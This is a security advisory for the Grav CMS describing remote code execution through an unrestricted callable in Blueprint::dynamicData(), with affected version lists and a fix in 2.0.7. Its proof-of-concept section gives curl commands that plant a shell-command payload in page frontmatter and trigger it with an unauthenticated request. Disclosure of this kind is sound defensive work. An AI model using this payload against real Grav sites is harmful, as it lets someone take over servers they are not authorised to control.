GHSA-fj2p-qj2f-74v5

Source

https://github.com/advisories/GHSA-fj2p-qj2f-74v5

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-fj2p-qj2f-74v5/GHSA-fj2p-qj2f-74v5.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-fj2p-qj2f-74v5

Aliases

Published

2026-09-02T14:51:18Z

Modified

2026-09-02T15:00:11Z

Severity

8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator

Summary

Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()

Details

Summary

An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.

Details

Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to call_user_func_array() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.

PoC

Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin page (window.GravAdmin.config.admin_nonce).

Save a "form" page whose field carries the callable directive:

curl '<BASE_URL>/admin/pages/rcepoc' \
  -H 'Cookie: <SESSION_COOKIE>' \
  --data-urlencode 'task=save' \
  --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
  --data-urlencode 'data[folder]=rcepoc' \
  --data-urlencode 'data[name]=form' \
  --data-urlencode 'data[title]=x' \
  --data-urlencode 'data[content]=hi' \
  --data-urlencode "data[frontmatter]=forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\Common\Utils::arrayFilterRecursive'
          - { 'echo GRAV-RCE-OK; id': 'x' }
          - system"

Trigger it as an unauthenticated visitor:

curl '<BASE_URL>/rcepoc'

Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.

Impact

Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.

Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.

Database specific

{
    "cwe_ids":  [
        "CWE-94"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-09-02T14:51:18Z",
    "nvd_published_at":  "2026-08-19T16:18:39Z",
    "severity":  "HIGH"
}

References

Affected packages

Packagist / getgrav/grav

Package

Name: getgrav/grav
Purl: pkg:composer/getgrav/grav

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

2.0.7

Affected versions

0.*

0.8.0

0.9.0

0.9.1

0.9.2

0.9.3

0.9.4

0.9.5

0.9.6

0.9.7

0.9.8

0.9.9

0.9.10

0.9.11

0.9.12

0.9.13

0.9.14

0.9.15

0.9.16

0.9.17

0.9.18

0.9.19

0.9.20

0.9.21

0.9.22

0.9.23

0.9.24

0.9.25

0.9.26

0.9.27

0.9.28

0.9.29

0.9.30

0.9.31

0.9.32

0.9.33

0.9.34

0.9.35

0.9.36

0.9.37

0.9.38

0.9.39

0.9.40

0.9.41

0.9.42

0.9.43

0.9.44

0.9.45

1.*

1.0.0-rc.1

1.0.0-rc.2

1.0.0-rc.3

1.0.0-rc.4

1.0.0-rc.5

1.0.0-rc.6

1.0.0

1.0.1

1.0.2

1.0.3

1.0.4

1.0.5

1.0.6

1.0.7

1.0.8

1.0.9

1.0.10

1.1.0-beta.1

1.1.0-beta.2

1.1.0-beta.3

1.1.0-beta.4

1.1.0-beta.5

1.1.0-rc.1

1.1.0-rc.2

1.1.0-rc.3

1.1.0

1.1.1

1.1.2

1.1.3

1.1.4

1.1.5

1.1.6

1.1.7

1.1.8

1.1.9-rc.1

1.1.9-rc.2

1.1.9-rc.3

1.1.9

1.1.10

1.1.11

1.1.12

1.1.13

1.1.14

1.1.15

1.1.16

1.1.17

1.2.0-rc.1

1.2.0-rc.2

1.2.0-rc.3

1.2.0

1.2.1

1.2.2

1.2.3

1.2.4

1.3.0-rc.1

1.3.0-rc.2

1.3.0-rc.3

1.3.0-rc.4

1.3.0-rc.5

1.3.0

1.3.1

1.3.2

1.3.3

1.3.4

1.3.5

1.3.6

1.3.7

1.3.8

1.3.9

1.3.10

1.4.0-beta.1

1.4.0-beta.2

1.4.0-beta.3

1.4.0-rc.1

1.4.0-rc.2

1.4.0

1.4.1

1.4.2

1.4.3

1.4.4

1.4.5

1.4.6

1.4.7

1.4.8

1.5.0-beta.1

1.5.0-beta.2

1.5.0-rc.1

1.5.0

1.5.1

1.5.2

1.5.3

1.5.4

1.5.5

1.5.6

1.5.7

1.5.8

1.5.9

1.5.10

1.6.0-beta.1

1.6.0-beta.2

1.6.0-beta.3

1.6.0-beta.4

1.6.0-beta.5

1.6.0-beta.6

1.6.0-beta.7

1.6.0-beta.8

1.6.0-rc.1

1.6.0-rc.2

1.6.0-rc.3

1.6.0-rc.4

1.6.0

1.6.1

1.6.2

1.6.3

1.6.4

1.6.5

1.6.6

1.6.7

1.6.8

1.6.9

1.6.10

1.6.11

1.6.12

1.6.13

1.6.14

1.6.15

1.6.16

1.6.17

1.6.18

1.6.19

1.6.20

1.6.21

1.6.22

1.6.23

1.6.24

1.6.25

1.6.26

1.6.27

1.6.28

1.6.29

1.6.30

1.6.31

1.7.0-beta.1

1.7.0-beta.2

1.7.0-beta.3

1.7.0-beta.4

1.7.0-beta.5

1.7.0-beta.6

1.7.0-beta.7

1.7.0-beta.8

1.7.0-beta.9

1.7.0-beta.10

1.7.0-rc.1

1.7.0-rc.2

1.7.0-rc.3

1.7.0-rc.4

1.7.0-rc.5

1.7.0-rc.6

1.7.0-rc.7

1.7.0-rc.8

1.7.0-rc.9

1.7.0-rc.10

1.7.0-rc.11

1.7.0-rc.12

1.7.0-rc.13

1.7.0-rc.14

1.7.0-rc.15

1.7.0-rc.16

1.7.0-rc.17

1.7.0-rc.18

1.7.0-rc.19

1.7.0-rc.20

1.7.0

1.7.1

1.7.3

1.7.4

1.7.5

1.7.6

1.7.7

1.7.8

1.7.9

1.7.10

1.7.12

1.7.13

1.7.14

1.7.15

1.7.16

1.7.17

1.7.18

1.7.19

1.7.20

1.7.21

1.7.22

1.7.23

1.7.24

1.7.25

1.7.26

1.7.26.1

1.7.27

1.7.27.1

1.7.28

1.7.29

1.7.29.1

1.7.30

1.7.31

1.7.32

1.7.33

1.7.34

1.7.35

1.7.36

1.7.37

1.7.37.1

1.7.38

1.7.39

1.7.39.1

1.7.39.2

1.7.39.3

1.7.39.4

1.7.40

1.7.41

1.7.41.1

1.7.41.2

1.7.42

1.7.42.1

1.7.42.2

1.7.42.3

1.7.43

1.7.44

1.7.45

1.7.46

1.7.47

1.7.48

1.7.49

1.7.49.1

1.7.49.2

1.7.49.3

1.7.49.4

1.7.49.5

1.7.51

1.7.52

1.7.53

1.7.53.1

1.7.53.2

1.7.53.3

1.8.0-beta.1

1.8.0-beta.2

1.8.0-beta.3

1.8.0-beta.4

1.8.0-beta.5

1.8.0-beta.6

1.8.0-beta.7

1.8.0-beta.8

1.8.0-beta.9

1.8.0-beta.10

1.8.0-beta.11

1.8.0-beta.12

1.8.0-beta.13

1.8.0-beta.14

1.8.0-beta.15

1.8.0-beta.16

1.8.0-beta.17

1.8.0-beta.18

1.8.0-beta.19

1.8.0-beta.20

1.8.0-beta.21

1.8.0-beta.22

1.8.0-beta.23

1.8.0-beta.24

1.8.0-beta.25

1.8.0-beta.26

1.8.0-beta.27

1.8.0-beta.28

1.8.0-beta.29

2.*

2.0.0-beta.1

2.0.0-beta.2

2.0.0-beta.3

2.0.0-beta.4

2.0.0-rc.1

2.0.0-rc.2

2.0.0-rc.3

2.0.0-rc.4

2.0.0-rc.5

2.0.0-rc.6

2.0.0-rc.7

2.0.0-rc.8

2.0.0-rc.9

2.0.0-rc.10

2.0.0

2.0.1

2.0.2

2.0.3

2.0.4

2.0.5

2.0.6

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-fj2p-qj2f-74v5/GHSA-fj2p-qj2f-74v5.json"